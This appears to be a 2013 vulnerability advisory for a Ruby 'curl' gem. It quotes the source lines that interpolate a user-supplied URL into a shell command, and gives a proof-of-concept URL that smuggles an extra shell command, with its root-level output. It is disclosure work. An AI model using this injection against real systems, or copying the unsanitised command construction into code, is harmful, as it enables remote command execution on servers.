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Ruby Gem Curl Command Execution

Ruby Gem Curl Command Execution
Posted Mar 13, 2013
Authored by Larry W. Cashdollar

Ruby Gem Curl suffers from a remote command execution vulnerability due to a lack of user input sanitization.

tags | exploit, remote, ruby
MD5 | aa54ae67e0017e2fa2514c2e70b1c3d1

Ruby Gem Curl Command Execution

Change Mirror Download
Curl Ruby Gem Remote command execution
3/12/2013

https://github.com/tg0/curl

Specially crafted URLs can result in remote code execution:

In ./lib/curl.rb the following lines:

131 cmd = "curl #{cookies_store} #{browser_type} #{@setup_params} {ref} \"{url}\" "
132 if @debug
133 puts cmd.red
134 end
135 result = open_pipe(cmd)

PoC:

page = curl.get("http://vapid.dhs.org/\"\;id\/tmp\/p\;\"")

larry@underfl0w:/tmp$ cat p
uid=0(root) gid=0(root) groups=0(root)

Larry W. Cashdollar
@_larry0
http://vapid.dhs.org

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